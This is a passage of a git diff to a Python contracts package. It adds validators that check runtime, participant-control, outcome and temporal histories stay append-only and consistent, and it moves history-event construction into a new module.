limits=RUNTIME_SNAPSHOT_VALUE_LIMITS, python_carriers=True).conformant: + raise ValueError("materialization attestations exceed portable bounds") + identities = set() + for record in records: + if not isinstance(record, MaterializationArchiveRecord): + raise TypeError("materialization attestations require typed archive references") + MaterializationArchiveRecord.model_validate(record.model_dump(mode="json")) + identity = (record.run_id, record.reference.ref_id) + if identity in identities: + raise ValueError("materialization attestations must have unique run and artifact identities") + identities.add(identity) + + +__all__ = [ + "MATERIALIZATION_ATTESTATION_CONTRACT", + "MaterializationArchive", + "MaterializationSource", + "MaterializationSubmission", +] diff --git a/implementations/python/packages/raes_contracts/mixed_runtime_history.py b/implementations/python/packages/raes_contracts/mixed_runtime_history.py new file mode 100644 index 000000000..c4405868c --- /dev/null +++ b/implementations/python/packages/raes_contracts/mixed_runtime_history.py @@ -0,0 +1,122 @@ +"""Validate composition state folds and append-only runtime transitions.""" + +from __future__ import annotations + +from collections.abc import Iterator, Mapping + +from .contracts.mixed_runtime import MixedCompositionRuntimeEventModel, MixedCompositionRuntimeStateModel + + +def iter_mixed_runtime_snapshot_violations( + states: Mapping[str, dict[str, object]], + histories: Mapping[str, list[dict[str, object]]], +) -> Iterator[tuple[str, str]]: + violations: list[tuple[str, str]] = [] + if set(states) != set(histories): + violations.append(("runtime.composition", "Composition state and history identities must match.")) + for run_id, events in histories.items(): + if not events or len(events) > 4096: + violations.append((run_id, "Composition history must be nonempty and bounded.")) + continue + models = _runtime_models(states, run_id, events) + if models is None: + violations.append((run_id, "Composition state or history is invalid.")) + continue + state, chain = models + violations.extend(_iter_chain_violations(run_id, state, chain)) + if not _state_matches_history(state, chain[-1]): + violations.append((run_id, "Composition state must fold from the final history event.")) + return iter(violations) + + +def _runtime_models( + states: Mapping[str, dict[str, object]], + run_id: str, + events: list[dict[str, object]], +) -> tuple[MixedCompositionRuntimeStateModel, list[MixedCompositionRuntimeEventModel]] | None: + try: + state = MixedCompositionRuntimeStateModel.model_validate(states[run_id]) + chain = [MixedCompositionRuntimeEventModel.model_validate(event) for event in events] + except (KeyError, TypeError, ValueError): + return None + return state, chain + + +def _iter_chain_violations( + run_id: str, + state: MixedCompositionRuntimeStateModel, + chain: list[MixedCompositionRuntimeEventModel], +) -> Iterator[tuple[str, str]]: + violations: list[tuple[str, str]] = [] + if state.run_id != run_id or any(event.run_id != run_id for event in chain): + violations.append((run_id, "Composition map key must match the embedded run identity.")) + if chain[0].event_kind != "phase-activated": + violations.append((run_id, "Composition history must start with phase activation.")) + if len({event.event_id for event in chain}) != len(chain): + violations.append((run_id, "Composition event identities must be unique.")) + for previous, current in zip(chain, chain[1:], strict=False): + violations.extend(_iter_event_transition_violations(run_id, previous, current)) + return iter(violations) + + +def _iter_event_transition_violations( + run_id: str, + previous: MixedCompositionRuntimeEventModel, + current: MixedCompositionRuntimeEventModel, +) -> Iterator[tuple[str, str]]: + violations: list[tuple[str, str]] = [] + if current.predecessor_event_id != previous.event_id: + violations.append((run_id, "Composition event predecessor does not match the history head.")) + current_identity = (current.plan_id, current.plan_entry_id, current.profile_id, current.profile_digest) + previous_identity = (previous.plan_id, previous.plan_entry_id, previous.profile_id, previous.profile_digest) + if current_identity != previous_identity: + violations.append((run_id, "Composition plan and profile identity cannot change within a run.")) + if current.event_kind == "phase-transition": + if current.phase_revision != previous.phase_revision + 1: + violations.append((run_id, "Composition phase revision must advance exactly once.")) + elif _composition_membership(current) != _composition_membership(previous): + violations.append((run_id, "Only a phase transition may change active composition membership.")) + return iter(violations) + + +def _composition_membership(event: MixedCompositionRuntimeEventModel) -> tuple[object, ...]: + return ( + event.phase_revision, + event.phase_id, + event.active_component_ids, + event.active_allocation_ids, + event.active_edge_ids, + ) + + +def _state_matches_history( + state: MixedCompositionRuntimeStateModel, + last: MixedCompositionRuntimeEventModel, +) -> bool: + folded = state.model_dump(mode="json", exclude={"history_head"}) + expected = last.model_dump( + mode="json", + include={ + "run_id", + "plan_id", + "plan_entry_id", + "profile_id", + "profile_digest", + "phase_id", + "phase_revision", + "active_component_ids", + "active_allocation_ids", + "active_edge_ids", + }, + ) + return folded == expected and state.history_head == last.event_id + + +def iter_mixed_runtime_transition_violations( + before: Mapping[str, list[dict[str, object]]], + after: Mapping[str, list[dict[str, object]]], +) -> Iterator[tuple[str, str]]: + for run_id, prior in before.items(): + current = after.get(run_id) + if current is None or current[: len(prior)] != prior: + yield run_id, "Composition history must remain append-only." diff --git a/implementations/python/packages/raes_contracts/operation_lifecycle.py b/implementations/python/packages/raes_contracts/operation_lifecycle.py index 24f89bb76..2a76e16e4 100644 --- a/implementations/python/packages/raes_contracts/operation_lifecycle.py +++ b/implementations/python/packages/raes_contracts/operation_lifecycle.py @@ -33,6 +33,8 @@ class OperationKind(str, Enum): PARTICIPANT_ACTION = "participant-action" PARTICIPANT_CONTROL = "participant-control" PARTICIPANT_CROSSING = "participant-crossing" + COMPOSITION_PHASE = "composition-phase" + INDETERMINATE_RESOLUTION = "indeterminate-resolution" _ContextString = Annotated[str, Field(min_length=1, max_length=256)] @@ -63,6 +65,7 @@ def _validate_authorization_scope(self) -> OperationAdmissionContext: { (OperationState.ACCEPTED, OperationState.RUNNING), (OperationState.ACCEPTED, OperationState.CANCELLED), + (OperationState.ACCEPTED, OperationState.INDETERMINATE), (OperationState.RUNNING, OperationState.SUCCEEDED), (OperationState.RUNNING, OperationState.FAILED), (OperationState.RUNNING, OperationState.CANCELLED), diff --git a/implementations/python/packages/raes_contracts/participant_autonomous_state.py b/implementations/python/packages/raes_contracts/participant_autonomous_state.py index e03b77650..581caffb0 100644 --- a/implementations/python/packages/raes_contracts/participant_autonomous_state.py +++ b/implementations/python/packages/raes_contracts/participant_autonomous_state.py @@ -206,6 +206,9 @@ def require_participant_autonomous_runtime_snapshot(snapshot: object) -> None: if violation is not None: address, message = violation raise ValueError(f"{address}: {message}") + from .participant_temporal import require_participant_temporal_history + + require_participant_temporal_history(snapshot) __all__ = ( diff --git a/implementations/python/packages/raes_contracts/participant_binding.py b/implementations/python/packages/raes_contracts/participant_binding.py index ab756c6cf..3504c6486 100644 --- a/implementations/python/packages/raes_contracts/participant_binding.py +++ b/implementations/python/packages/raes_contracts/participant_binding.py @@ -2,14 +2,13 @@ from __future__ import annotations -from collections.abc import Mapping +from collections.abc import Mapping, Sequence from dataclasses import dataclass, replace from typing import Protocol, cast from . import participant_binding_validation as _binding_validation from .contracts import ( ParticipantActionResultModel, - ParticipantBehaviorHistoryEventModel, ParticipantDecisionSurfaceActionEntryModel, ParticipantDecisionSurfaceCandidateSetFormModel, ParticipantDecisionSurfaceConstrainedFormModel, @@ -18,22 +17,15 @@ ParticipantDecisionSurfaceSelectionModel, ParticipantImplementationManifestModel, ParticipantImplementationSelectionModel, - ParticipantObservationDetailsModel, ParticipantTemporalRuntimeContextModel, ) from .contracts.participant_resource_budgets import ParticipantResourceMeasurementRequirementModel +from .contracts.participant_temporal import ParticipantTemporalEvidenceModel from .participant_action_arguments import ( ParticipantActionArgumentScalar, ParticipantActionArgumentValue, ParticipantValidatedActionSelection, ) -from .participant_behavior import ( - ParticipantAdmissionDisposition, - ParticipantBehaviorHistoryEventType, - ParticipantObservationStatus, - ParticipantPhaseRealization, - ParticipantRuntimeLifecyclePhase, -) from .participant_binding_events import ( action_result_evidence_refs as _action_result_evidence_refs, ) @@ -41,7 +33,9 @@ participant_behavior_event_payload, participant_implementation_actor_provenance, ) +from .participant_binding_history import participant_action_binding_events from .participant_native_execution import ParticipantNativeActionExecution +from .participant_temporal import temporal_evidence_scope_violations from .runtime_state import ApplyResult @@ -101,6 +95,7 @@ class ParticipantActionAdmissionRequest: execution_scope_ref: str | None = None execution_generation: int | None = None resource_measurement_requirements: tuple[ParticipantResourceMeasurementRequirementModel, ...] = () + temporal_evidence: tuple[ParticipantTemporalEvidenceModel, ...] = () def __post_init__(self) -> None: _validate_admission_request_basics(self) @@ -156,6 +151,10 @@ def _validate_admission_request_selection_and_execution(request: ParticipantActi def _validate_and_normalize_admission_request_contexts(request: ParticipantActionAdmissionRequest) -> None: + if not isinstance(request.temporal_evidence, tuple) or any( + not isinstance(item, ParticipantTemporalEvidenceModel) for item in request.temporal_evidence + ): + raise TypeError("temporal_evidence must contain typed temporal evidence") if any(not isinstance(item, ParticipantTemporalRuntimeContextModel) for item in request.temporal_contexts): raise TypeError("temporal_contexts entries must be ParticipantTemporalRuntimeContextModel") if len({item.temporal_contract_id for item in request.temporal_contexts}) != len(request.temporal_contexts): @@ -188,9 +187,21 @@ def participant_action_admission_request_violations(request: ParticipantActionAd *_implementation_selection_violations(request), *_exposure_policy_violations(request), *_action_result_violations(request), + *_temporal_evidence_violations(request, request.temporal_evidence), + *_temporal_evidence_violations( + request, request.action_result.temporal_evidence if request.action_result else () + ), ) +def _temporal_evidence_violations( + request: ParticipantActionAdmissionRequest, + proofs: Sequence[ParticipantTemporalEvidenceModel], +) -> tuple[str, ...]: + contexts = [item.shared_time for item in request.temporal_contexts if item.shared_time is not None] + return temporal_evidence_scope_violations(contexts, proofs, request.observation_boundary_address) + + def bind_participant_decision_surface_selection( *, surface: ParticipantDecisionSurfaceModel, @@ -374,7 +385,11 @@ def _exposure_policy_violations(request: ParticipantActionAdmissionRequest) -> t violations: list[str] = [] policy = request.implementation_selection.exposure_policy action_result_evidence_refs = _action_result_evidence_refs(request.action_result) - observation_evidence_refs = set(request.evidence_refs) | action_result_evidence_refs + observation_evidence_refs = ( + set(request.evidence_refs) + | action_result_evidence_refs + | {ref for proof in request.temporal_evidence for ref in proof.evidence_refs} + ) emitted_refs = set(request.visible_refs) | set(request.disclosed_refs) | observation_evidence_refs withheld_refs = sorted(emitted_refs & set(policy.withheld_refs)) if withheld_refs: @@ -420,66 +435,6 @@ def _action_result_violations(request: ParticipantActionAdmissionRequest) -> tup return tuple(violations) -def participant_action_binding_events( - request: ParticipantActionAdmissionRequest, - *, - episode_id: str, - timestamp: str, - post_state_digest: str, -) -> tuple[ParticipantBehaviorHistoryEventModel, ...]: - """Build the portable behavior-history events for an admitted action.""" - - actor_provenance = participant_implementation_actor_provenance(request.implementation_selection) - return ( - ParticipantBehaviorHistoryEventModel( - event_type=ParticipantBehaviorHistoryEventType.ACTION_ATTEMPTED, - timestamp=timestamp, - participant_address=request.participant_address, - episode_id=episode_id, - action_instance_id=request.action_instance_id, - action_contract_address=request.action_contract_address, - actor_provenance=actor_provenance, - lifecycle_phase=ParticipantRuntimeLifecyclePhase.SELECTION_OR_ADMISSION, - phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, - admission_disposition=ParticipantAdmissionDisposition.ADMITTED, - temporal_contexts=list(request.temporal_contexts), - ), - ParticipantBehaviorHistoryEventModel( - event_type=ParticipantBehaviorHistoryEventType.STATE_TRANSITION_RECORDED, - timestamp=timestamp, - participant_address=request.participant_address, - episode_id=episode_id, - action_instance_id=request.action_instance_id, - action_contract_address=request.action_contract_address, - lifecycle_phase=ParticipantRuntimeLifecyclePhase.STATE_UPDATE_COMMIT, - phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, - state_transition_kind=request.state_transition_kind, - post_state_digest=post_state_digest, - temporal_contexts=list(request.temporal_contexts), - ), - ParticipantBehaviorHistoryEventModel( - event_type=ParticipantBehaviorHistoryEventType.OBSERVATION_EMITTED, - timestamp=timestamp, - participant_address=request.participant_address, - episode_id=episode_id, - action_instance_id=request.action_instance_id, - action_contract_address=request.action_contract_address, - observation_boundary_address=request.observation_boundary_address, - observation_status=ParticipantObservationStatus.TERMINAL, - lifecycle_phase=ParticipantRuntimeLifecyclePhase.OBSERVATION_EMISSION, - phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, - post_state_digest=post_state_digest, - action_result=request.action_result, - temporal_contexts=list(request.temporal_contexts), - details=ParticipantObservationDetailsModel( - visible_refs=list(request.visible_refs), - disclosed_refs=list(request.disclosed_refs), - evidence_refs=list(request.evidence_refs), - ), - ), - ) - - __all__ = ( "ParticipantActionAdmissionRequest", "ParticipantActionArgumentScalar", diff --git a/implementations/python/packages/raes_contracts/participant_binding_events.py b/implementations/python/packages/raes_contracts/participant_binding_events.py index 58686f250..80959f270 100644 --- a/implementations/python/packages/raes_contracts/participant_binding_events.py +++ b/implementations/python/packages/raes_contracts/participant_binding_events.py @@ -24,6 +24,8 @@ def action_result_evidence_refs(action_result: ParticipantActionResultModel | No evidence_refs.update(precondition.evidence_refs) for effect in action_result.effects: evidence_refs.update(effect.evidence_refs) + for proof in action_result.temporal_evidence: + evidence_refs.update(proof.evidence_refs) return evidence_refs diff --git a/implementations/python/packages/raes_contracts/participant_binding_history.py b/implementations/python/packages/raes_contracts/participant_binding_history.py new file mode 100644 index 000000000..32e1a1d2e --- /dev/null +++ b/implementations/python/packages/raes_contracts/participant_binding_history.py @@ -0,0 +1,78 @@ +"""Portable history-event construction for participant action bindings.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING + +from .contracts import ParticipantBehaviorHistoryEventModel, ParticipantObservationDetailsModel +from .participant_behavior import ( + ParticipantAdmissionDisposition, + ParticipantBehaviorHistoryEventType, + ParticipantObservationStatus, + ParticipantPhaseRealization, + ParticipantRuntimeLifecyclePhase, +) +from .participant_binding_events import participant_implementation_actor_provenance + +if TYPE_CHECKING: + from .participant_binding import ParticipantActionAdmissionRequest + + +def participant_action_binding_events( + request: ParticipantActionAdmissionRequest, + *, + episode_id: str, + timestamp: str, + post_state_digest: str, +) -> tuple[ParticipantBehaviorHistoryEventModel, ...]: + """Build the portable behavior-history events for an admitted action.""" + + actor_provenance = participant_implementation_actor_provenance(request.implementation_selection) + return ( + ParticipantBehaviorHistoryEventModel( + event_type=ParticipantBehaviorHistoryEventType.ACTION_ATTEMPTED, + timestamp=timestamp, + participant_address=request.participant_address, + episode_id=episode_id, + action_instance_id=request.action_instance_id, + action_contract_address=request.action_contract_address, + actor_provenance=actor_provenance, + lifecycle_phase=ParticipantRuntimeLifecyclePhase.SELECTION_OR_ADMISSION, + phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, + admission_disposition=ParticipantAdmissionDisposition.ADMITTED, + temporal_contexts=list(request.temporal_contexts), + ), + ParticipantBehaviorHistoryEventModel( + event_type=ParticipantBehaviorHistoryEventType.STATE_TRANSITION_RECORDED, + timestamp=timestamp, + participant_address=request.participant_address, + episode_id=episode_id, + action_instance_id=request.action_instance_id, + action_contract_address=request.action_contract_address, + lifecycle_phase=ParticipantRuntimeLifecyclePhase.STATE_UPDATE_COMMIT, + phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, + state_transition_kind=request.state_transition_kind, + post_state_digest=post_state_digest, + temporal_contexts=list(request.temporal_contexts), + ), + ParticipantBehaviorHistoryEventModel( + event_type=ParticipantBehaviorHistoryEventType.OBSERVATION_EMITTED, + timestamp=timestamp, + participant_address=request.participant_address, + episode_id=episode_id, + action_instance_id=request.action_instance_id, + action_contract_address=request.action_contract_address, + observation_boundary_address=request.observation_boundary_address, + observation_status=ParticipantObservationStatus.TERMINAL, + lifecycle_phase=ParticipantRuntimeLifecyclePhase.OBSERVATION_EMISSION, + phase_realization=ParticipantPhaseRealization.RUNTIME_MEDIATED, + post_state_digest=post_state_digest, + action_result=request.action_result, + temporal_contexts=list(request.temporal_contexts), + details=ParticipantObservationDetailsModel( + visible_refs=list(request.visible_refs), + disclosed_refs=list(request.disclosed_refs), + evidence_refs=list(request.evidence_refs), + ), + ), + ) diff --git a/implementations/python/packages/raes_contracts/participant_control_evaluation_history.py b/implementations/python/packages/raes_contracts/participant_control_evaluation_history.py new file mode 100644 index 000000000..a2fae5388 --- /dev/null +++ b/implementations/python/packages/raes_contracts/participant_control_evaluation_history.py @@ -0,0 +1,80 @@ +"""RUN-320 append-only participant-control evaluation history invariants. + +Mirrors the RUN-319 crossing and RUN-310 control history guards: the retained +records are complete published API-424 evaluations, keyed by the participant +they were resolved for, and an evaluation identity is never reused or rewritten. +""" + +from __future__ import annotations + +from collections.abc import Iterator, Mapping, Sequence + +from pydantic import ValidationError + +from .contracts.participant_control_composition import ParticipantControlEvaluationModel + + +def iter_participant_control_evaluation_snapshot_violations( + history: Mapping[str, Sequence[dict[str, object]]], +) -> list[tuple[str, str]]: + """Return value-safe violations for one complete evaluation-history snapshot.""" + + violations: list[tuple[str, str]] = [] + seen: set[str] = set() + for participant_address, records in history.items(): + address = f"runtime.snapshot.participant-control-evaluation-history.{participant_address}" + for payload in records: + evaluation = _validated(payload, address, violations) + if evaluation is None: + continue + if evaluation.request.context.participant_address != participant_address: + violations.append( + ( + address, + "participant control evaluation history key must equal the resolved participant address", + ) + ) + if evaluation.evaluation_id in seen: + violations.append((address, "participant control evaluation identity must be unique and append-only")) + seen.add(evaluation.evaluation_id) + return violations + + +def _validated( + payload: dict[str, object], + address: str, + violations: list[tuple[str, str]], +) -> ParticipantControlEvaluationModel | None: + try: + return ParticipantControlEvaluationModel.model_validate(payload) + except (TypeError, ValidationError, ValueError): + # Bounded and value-independent: a rejected record never enters evidence. + violations.append((address, "participant control evaluation record is not a valid API-424 evaluation")) + return None + + +def iter_participant_control_evaluation_transition_violations( + before: Mapping[str, Sequence[dict[str, object]]], + after: Mapping[str, Sequence[dict[str, object]]], +) -> Iterator[tuple[str, str]]: + """Reject any apply result that drops or rewrites a committed evaluation. + + The runtime owns this history: a backend result carries it forward + unchanged. Appending is the runtime's own commit, so a result that adds, + removes or edits a record is rejected rather than merged. + """ + + for participant_address, prior in before.items(): + address = f"runtime.snapshot.participant-control-evaluation-history.{participant_address}" + current = after.get(participant_address) + if current is None or list(current) != list(prior): + yield address, "participant control evaluation history is runtime-owned and must be preserved exactly" + for participant_address in set(after) - set(before): + address = f"runtime.snapshot.participant-control-evaluation-history.{participant_address}" + yield address, "participant control evaluation history is runtime-owned and must not be introduced by a result" + + +__all__ = [ + "iter_participant_control_evaluation_snapshot_violations", + "iter_participant_control_evaluation_transition_violations", +] diff --git a/implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py b/implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py index 033dc2d6f..8d67da8da 100644 --- a/implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py +++ b/implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py @@ -50,7 +50,9 @@ def load_participant_boundary_flow_policy_profile_from_path( _validate_profile_id(profile_id) try: - payload = parse_bounded_json_object(path.read_bytes(), max_bytes=_MAX_PROFILE_BYTES) + with path.open("rb") as stream: + source = stream.read(_MAX_PROFILE_BYTES + 1) + payload = parse_bounded_json_object(source, max_bytes=_MAX_PROFILE_BYTES) profile = ParticipantBoundaryFlowPolicyProfileModel.model_validate(payload) except (OSError, ValueError): raise ValueError("participant boundary flow profile JSON or contract is invalid") from None diff --git a/implementations/python/packages/raes_contracts/participant_outcome_history.py b/implementations/python/packages/raes_contracts/participant_outcome_history.py new file mode 100644 index 000000000..714d0fa70 --- /dev/null +++ b/implementations/python/packages/raes_contracts/participant_outcome_history.py @@ -0,0 +1,266 @@ +"""ACT-618 deterministic local-state projection and append-only replay checks.""" + +from __future__ import annotations + +from collections.abc import Iterator, Mapping, Sequence +from typing import TYPE_CHECKING, Any + +from pydantic import BaseModel, ValidationError +from raes.participant_local_outcome import OutcomeAttainment, OutcomeKnowledge +from raes.participant_outcome_semantics import OutcomeInterpretationRule + +from .addressing import render_compiled_address +from .canonical import canonical_json_digest +from .contracts.participant_outcomes import ParticipantOutcomeObservationRefModel, ParticipantOutcomeReportV2Model +from .contracts.participant_runtime import ParticipantActionEffectResultModel, ParticipantBehaviorHistoryEventModel + +if TYPE_CHECKING: + from .runtime_state import RuntimeSnapshot + +OutcomeObservations = list[tuple[ParticipantBehaviorHistoryEventModel, ParticipantOutcomeObservationRefModel]] +OutcomeHistory = Mapping[str, list[dict[str, Any]]] + + +def validate_outcome_rule(spec: Mapping[str, Any]) -> OutcomeInterpretationRule: + """Validate a compiled rule at the contract boundary before runtime projection.""" + rule = OutcomeInterpretationRule.model_validate(spec) + if rule.local_outcome is None: + raise ValueError("outcome rule has no local definition") + return rule + + +def outcome_history_digest(history: Sequence[Mapping[str, Any]]) -> str: + """Hash the canonical contract representation, independent of omitted defaults.""" + try: + return canonical_json_digest( + [ParticipantBehaviorHistoryEventModel.model_validate(event).model_dump(mode="json") for event in history] + ) + except (ValueError, TypeError): + raise ValueError("outcome observation history contract is invalid") from None + + +def outcome_observations( + history: Sequence[Mapping[str, Any]], participant_address: str, episode_id: str +) -> OutcomeObservations: + """Resolve actual terminal observations with exact nested scope bindings.""" + observations = [] + seen = set() + for raw in history: + if not isinstance(raw, Mapping): + raise ValueError("outcome observation history contract is invalid") + if raw.get("participant_address") != participant_address: + raise ValueError("outcome observation participant binding is invalid") + if raw.get("episode_id") != episode_id or raw.get("event_type") != "observation_emitted": + continue + event = _bound_outcome_observation(raw, participant_address, episode_id) + action = event.action_result + if action is None: + continue + if action.observation_point in seen: + raise ValueError("outcome observation identity is duplicated") + seen.add(action.observation_point) + observations.append( + ( + event, + ParticipantOutcomeObservationRefModel( + action_instance_id=action.action_instance_id, + observation_point=action.observation_point, + content_digest=canonical_json_digest(event.model_dump(mode="json")), + ), + ) + ) + return observations + + +def _bound_outcome_observation( + raw: Mapping[str, Any], participant: str, episode: str +) -> ParticipantBehaviorHistoryEventModel: + try: + event = ParticipantBehaviorHistoryEventModel.model_validate(raw) + except (ValueError, TypeError): + raise ValueError("outcome observation contract is invalid") from None + action = event.action_result + if action is not None and ( + action.participant_address, + action.episode_id, + action.action_instance_id, + action.action_contract_address, + ) != (participant, episode, event.action_instance_id, event.action_contract_address): + raise ValueError("outcome observation action binding is invalid") + return event + + +def _criterion_evidence( + action_ref: str, + evidence_refs: set[str], + effect_id: str, + observations: OutcomeObservations, + excluded: set[str], +) -> tuple[set[bool], set[str], bool]: + values: set[bool] = set() + evidence: set[str] = set() + withheld = False + for event, ref in observations: + action = event.action_result + if ref.observation_point in excluded or action.action_contract_address != action_ref: + continue + if action.status == "withheld": + withheld = True + continue + observed, refs = _effect_evidence(action.effects, effect_id, evidence_refs) + values.update(observed) + evidence.update(refs) + return values, evidence, withheld + + +def _effect_evidence( + effects: Sequence[ParticipantActionEffectResultModel], effect_id: str, admitted: set[str] +) -> tuple[set[bool], set[str]]: + values: set[bool] = set() + evidence: set[str] = set() + for effect in effects: + if effect.effect_id != effect_id: + continue + refs = set(effect.evidence_refs) & admitted + if refs and effect.effect_class != "unknown_effect": + evidence.update(refs) + values.add(effect.effect_class != "no_effect") + return values, evidence + + +def _attainment_projection(values: list[set[bool]], withheld: bool) -> tuple[OutcomeAttainment, OutcomeKnowledge]: + if any(len(value) > 1 for value in values): + return "undetermined", "conflicting" + if withheld: + return "undetermined", "withheld" + positive = sum(value == {True} for value in values) + known = sum(bool(value) for value in values) + knowledge: OutcomeKnowledge = "supported" if known == len(values) else "unknown" + attainment: OutcomeAttainment = "undetermined" + if positive == len(values): + attainment = "attained" + elif positive: + attainment = "partial" + elif known == len(values): + attainment = "not_attained" + return attainment, knowledge + + +def outcome_projection( + rule: OutcomeInterpretationRule, + observations: OutcomeObservations, + excluded: set[str], +) -> tuple[OutcomeAttainment, OutcomeKnowledge, list[str]]: + """All criteria, explicit effects, no status propagation or arrival precedence.""" + local = rule.local_outcome + if local is None: + raise ValueError("outcome rule has no local definition") + sources = {source.source_id: source for source in rule.source_bindings} + values = [] + evidence: set[str] = set() + withheld = False + for criterion in local.criteria: + source = sources[criterion.source_id] + observed, refs, hidden = _criterion_evidence( + render_compiled_address("participant", "action-contract", source.ref), + set(source.evidence_refs), + criterion.effect_id, + observations, + excluded, + ) + values.append(observed) + evidence.update(refs) + withheld = withheld or hidden + attainment, knowledge = _attainment_projection(values, withheld) + return attainment, knowledge, sorted(evidence) + + +def require_outcome_history(history: OutcomeHistory, behavior_history: OutcomeHistory) -> None: + """Validate all stored reports by replay, including their immutable prefixes.""" + if not isinstance(history, Mapping): + raise ValueError("outcome history must be a mapping") + seen_ids = set() + for participant, reports in history.items(): + if not isinstance(reports, Sequence) or isinstance(reports, (str, bytes)): + raise ValueError("outcome history must contain report lists") + heads = {} + for raw in reports: + try: + report = ParticipantOutcomeReportV2Model.model_validate(raw) + except (TypeError, ValidationError): + raise ValueError("outcome history report contract is invalid") from None + if report.participant_address != participant or report.event_id in seen_ids: + raise ValueError("outcome history identity binding is invalid") + seen_ids.add(report.event_id) + key = (report.episode_id, report.outcome_id) + previous = heads.get(key) + require_outcome_predecessor(report, previous) + _require_report_replay(report, behavior_history.get(participant, [])) + heads[key] = report + + +def require_outcome_predecessor( + report: ParticipantOutcomeReportV2Model, previous: ParticipantOutcomeReportV2Model | None +) -> None: + revision = previous.revision if previous else 0 + predecessor = previous.event_id if previous else None + if report.revision != revision + 1 or report.predecessor_event_ref != predecessor: + raise ValueError("outcome history predecessor or revision is stale") + if previous: + if (report.interpretation_rule_ref, report.rule_digest) != ( + previous.interpretation_rule_ref, + previous.rule_digest, + ): + raise ValueError("outcome identity cannot change its semantic revision") + if not set(previous.excluded_observation_refs) <= set(report.excluded_observation_refs): + raise ValueError("outcome correction cannot silently reinstate excluded evidence") + if report.behavior_history_length < previous.behavior_history_length: + raise ValueError("outcome observation cut cannot move backwards") + + +def require_outcome_history_transition(previous: OutcomeHistory, following: OutcomeHistory) -> None: + """Reject deletion or rewriting of any durable outcome report.""" + for participant, reports in previous.items(): + if following.get(participant, [])[: len(reports)] != reports: + raise ValueError("outcome history must remain append-only") + + +def iter_outcome_snapshot_violations(snapshot: RuntimeSnapshot) -> Iterator[tuple[str, str]]: + """Fixed-message adapter for runtime and conformance diagnostic owners.""" + try: + require_outcome_history(snapshot.participant_outcome_history, snapshot.participant_behavior_history) + except (TypeError, ValueError, AttributeError, KeyError): + yield "runtime.snapshot.participant-outcome-history", "Participant outcome history failed replay validation." + + +def iter_outcome_transition_violations( + previous: OutcomeHistory, following: OutcomeHistory +) -> Iterator[tuple[str, str]]: + try: + require_outcome_history_transition(previous, following) + except (TypeError, ValueError): + yield "runtime.snapshot.participant-outcome-history", "Participant outcome history must remain append-only." + + +def _require_report_replay(report: ParticipantOutcomeReportV2Model, history: Sequence[Mapping[str, Any]]) -> None: + events = history[: report.behavior_history_length] + if ( + len(events) != report.behavior_history_length + or outcome_history_digest(events) != report.behavior_history_digest + ): + raise ValueError("outcome history observation cut is invalid") + if canonical_json_digest(report.rule_spec.model_dump(mode="json")) != report.rule_digest: + raise ValueError("outcome history rule digest is invalid") + observations = outcome_observations(events, report.participant_address, report.episode_id) + if [ref for _, ref in observations] != report.observation_refs: + raise ValueError("outcome history observation references are invalid") + projected = outcome_projection(report.rule_spec, observations, set(report.excluded_observation_refs)) + if projected != (report.attainment, report.knowledge, report.evidence_refs): + raise ValueError("outcome history state disagrees with evidence") + + +def require_outcome_envelope(envelope: BaseModel) -> None: + """Normalize wire model defaults once before deterministic history replay.""" + fields = {"participant_outcome_history", "participant_behavior_history"} + payload = envelope.model_dump(mode="json", include=fields) + require_outcome_history(payload["participant_outcome_history"], payload["participant_behavior_history"]) diff --git a/implementations/python/packages/raes_contracts/participant_temporal.py b/implementations/python/packages/raes_contracts/participant_temporal.py new file mode 100644 index 000000000..4812d2d17 --- /dev/null +++ b/implementations/python/packages/raes_contracts/participant_temporal.py @@ -0,0 +1,230 @@ +"""Deterministic bounded temporal assessment and durable-history validation.""" + +from collections.abc import Mapping, Sequence +from typing import TYPE_CHECKING + +from .contracts.participant_temporal import ( + ParticipantTemporalAssessmentModel, + ParticipantTemporalEvidenceModel, + ParticipantTemporalExecutionContextModel, +) +from .contracts.time_model import RuntimeClockStateModel +from .participant_temporal_assessment import ( + NativeExecution, + coordinate_key, + deadline_result, + dwell_result, + temporal_evidence_scope_violations, +) + +if TYPE_CHECKING: + from .contracts.participant_runtime import ParticipantBehaviorHistoryEventModel + +__all__ = ("assess_temporal_guarantee", "coordinate_key", "require_participant_temporal_history") + + +def assess_temporal_guarantee( + context: ParticipantTemporalExecutionContextModel, + evidence: tuple[ParticipantTemporalEvidenceModel, ...], + observation_boundary: str, + clock: RuntimeClockStateModel, + *, + native_execution: NativeExecution, +) -> ParticipantTemporalAssessmentModel: + """Check evidence scope and coverage; never infer native cancellation.""" + + proofs = tuple(proof for proof in evidence if proof.context == context) + if context.binding.temporal_kind == "deadline": + status, reason = deadline_result(context, proofs, observation_boundary, clock, native_execution) + else: + status, reason = dwell_result(context, proofs, clock) + return ParticipantTemporalAssessmentModel( + context=context, + status=status, + native_execution=native_execution, + evaluation_sequence=clock.sequence, + reason=reason, + evidence=proofs, + ) + + +def _context_clock( + context: ParticipantTemporalExecutionContextModel, + event: "ParticipantBehaviorHistoryEventModel", + clocks: Mapping[str, RuntimeClockStateModel], +) -> RuntimeClockStateModel: + binding = context.binding + clock = clocks.get(binding.clock_address) + identity = ( + context.participant_address == event.participant_address, + context.episode_id == event.episode_id, + context.action_instance_id == event.action_instance_id, + binding.action_contract_address == event.action_contract_address, + ) + if not all(identity) or clock is None or context.clock_sequence >= len(clock.history): + raise ValueError("temporal context identity or shared clock reference is inconsistent") + if clock.history[context.clock_sequence].resulting != context.submitted_at: + raise ValueError("temporal submission coordinate differs from shared clock history") + segment = context.submitted_at.segment + expected_end = binding.end.model_copy(update={"segment": segment}) + expected_start = binding.start.model_copy(update={"segment": segment}) if binding.start is not None else None + if context.bound_end != expected_end or context.bound_start != expected_start: + raise ValueError("temporal bounds differ from the declared constraint in this clock segment") + return clock + + +def _require_temporal_assessment( + event: "ParticipantBehaviorHistoryEventModel", + context: ParticipantTemporalExecutionContextModel, + assessment: ParticipantTemporalAssessmentModel, + clock: RuntimeClockStateModel, + disposition: NativeExecution, +) -> None: + if 